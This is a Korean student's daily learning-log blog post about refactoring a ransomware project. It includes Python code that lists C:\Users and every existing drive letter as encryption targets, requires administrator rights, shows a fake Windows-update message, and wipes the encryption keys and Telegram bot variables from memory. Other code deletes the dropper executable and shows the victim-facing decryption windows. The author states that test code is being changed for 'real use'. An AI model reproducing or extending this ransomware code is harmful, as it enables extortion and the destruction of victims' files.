Today I Learned

최지웅·2023년 11월 20일
0

Today I Learned

목록 보기
54/238

오늘 할일
1. 랜섬웨어 리팩토링
2. Project-X과제_3번까지 제출 및 전문가 설뭉 참여
3. 봉사
4. Projext-X회의
5. 랜섬웨어 회의

오늘 한일
1. 랜섬웨어 리팩토링
1-1. 랜섬웨어 서버 키 값 고정

Server.py
[DEBUG] Making ServerPrivateKey by using script argument...
[DEBUG] Created ServerPrivateKey
b'>\xf7@9\x8c\x1e\x88m\xedP9\xee<\x85\x8bq3\x97\xf1\xb3\xc8\xe1\xa7\x7fNy\xc9\xd6\xc9Hl$'
[DEBUG] Derived ServerPublicKey
b'A?\xb6\xdcJ\x02e1-\xbfN9BWkY\x13B+\x02\x03\xfa\xe5\xfb)\xf5}\x92\x83\x91\xb4E'
[DEBUG] Key is completely Saved!

Server with load key.bat
python Server.py "E:\github\-ransomware3\최지웅\PRIVATE_KEY_RSA_SERVER_2023-11-21 08-58-28"

Client의 키값은 최초 실행시 설정되기에 서버만 고정.

1-2. 현재 멀티스레딩 처리 부분에서, 스레드가 완료된 경우에 ThreadPool이 감소하지 않을 것 같다는 추측. 즉, 최초 MaxThread만큼의 50MB이상 파일만 멀티스레딩 처리할 것 같아 추가 분석이 필요.

1-3. 변수값을 프로그램 종료 전 랜덤하게 덮어쓰는 코드 추가.

def dumpVariable():
    global PRIVATE_KEY_RSA, PUBLIC_KEY_RSA, PRIVATE_KEY_AES, PUBLIC_SERVER_RSA_KEY, AES_BOX, BOT, CHAT_ID, EncryptModule
    PRIVATE_KEY_RSA=os.urandom(sys.getsizeof(PRIVATE_KEY_RSA)+1)
    PUBLIC_KEY_RSA=os.urandom(sys.getsizeof(PUBLIC_KEY_RSA)+1)
    PRIVATE_KEY_AES=os.urandom(sys.getsizeof(PRIVATE_KEY_AES)+1)
    PUBLIC_SERVER_RSA_KEY=os.urandom(sys.getsizeof(PUBLIC_SERVER_RSA_KEY)+1)
    AES_BOX=os.urandom(sys.getsizeof(AES_BOX)+1)
    BOT=os.urandom(sys.getsizeof(BOT)+1)
    CHAT_ID=os.urandom(sys.getsizeof(CHAT_ID)+1)
    EncryptModule=os.urandom(sys.getsizeof(EncryptModule)+1)

실행해보니 기존사이즈+1만큼의 오버플로우 덮어쓰기를 기대했는데, 약 2배길이의 랜덤바이트코드로 치환됨. AEX_BOX의 바이트 코드 출력(기존, 랜덤)

b'\x81\xfb\xbay\x0e\x02[\xe6\xaa\xba\xcb\xe5(\xf5)\xd7\xbd\x9fJ\xd2\xea\xba\xca\x9cH\x1d\xd4\x1a\x92x5\x85'

b'\x11\xc0\x9b\xcf\xcf"\xa8\x17\xcb\xc5\xf1cS\x8e\xe0u\x00\xb4F\x883\x82\xaf\xbe*\x8ciG\xf0\x04\xe1\xf22\x87\xbe\xa1?6\xe5\xf6\xcf\xcd\xbc\n*f\\\xd4N\xc8\x08\x0bq\xc7\xba\x15,'

1-4. 테스트 용을 실제 사용을 위해 디스크 암호화 리팩토링 진행. 위험부담을 줄이기 위해 텍스트 에디터로 편집

  • listUpTargetDir함수 변경 및 main함수에서 해당 리스트를 순회하도록 변경
def listUpTargetDir():
    global PathList
    PathList=[r"C:\Users\\"]
    for letter in range(97, 123):
        drive=f"{chr(letter)}:\\"
        if (pathlib.Path(drive).exists()):
            PathList.append(drive)
    PathList.remove("c:\\")
  • 관리자 권한이 아닐 경우 종료되게 변경. 관리자 권한으로 암호화 마칠 시 Windows 업데이트 완료 디버깅 메시지를 남기고, 변수를 덤프, Client_after_enc.exe를 실행시키고 종료한다.
  • Client_after_enc.exe실행 시 Client.exe를 삭제. 이때 Client.exe파일이 정상종료될 떄 까지 기다리기 위해 최초 실행 시 1ms동안 sleep하여 대기.
if __name__=='__main__':
    sleep(1)
    os.remove(removeTarget)
    listUpTargetDir()
    ransomewareWarning()
  • Client_after_enc.exe역시 listUpTargetDir에서 PathList를 위와같이 실제 드라이브값으로 변경.
  • 디버깅 메시지가 아닌 tkinter창으로 진행사항 알림
def warningInProgress():
    WINDOW=tkinter.Tk()
    WINDOW.withdraw()
    messagebox.showerror("DO NOT TOUCH COMPUTER", "Decryption is working...")
   
def completeDecryption():
    WINDOW=tkinter.Tk()
    WINDOW.withdraw()
    messagebox.showerror("User computer is unlocked!", "Thank you for using our service:):):):):) Bye!")
    
def decryptComputer():
    global entry
    buf=entry.get()
    try:
        AESKey=base64.b64decode(buf[10:])
        setDecryptModule(AESKey)
        print("Start Decryption... Do not turn off computer...")
        th=Thread(target=warningInProgress)
        th.start()#복호화 진행 알림
        for drive in PathList:
            recursiveDecrypt(drive)
            while (len(ThreadPool)!=0):
                th=ThreadPool.pop()
                th.join()
        th2=Thread(target=completeDecryption)
        th2.start()#복호화 완료 알림
        print("User computer is unlocked! Thank you for using our service:):):):):) Bye!")
        
        sleep(10)
        sys.exit(0)
    except Exception as e:
        print("AESKey is not correct!", e)
  • Client.py와 Client_after_enc.py의 PathList_DEBUG삭제.

1-5. github업로드, exe파일 추출 및 구글드라이브 공유.

profile
이제 3학년..

0개의 댓글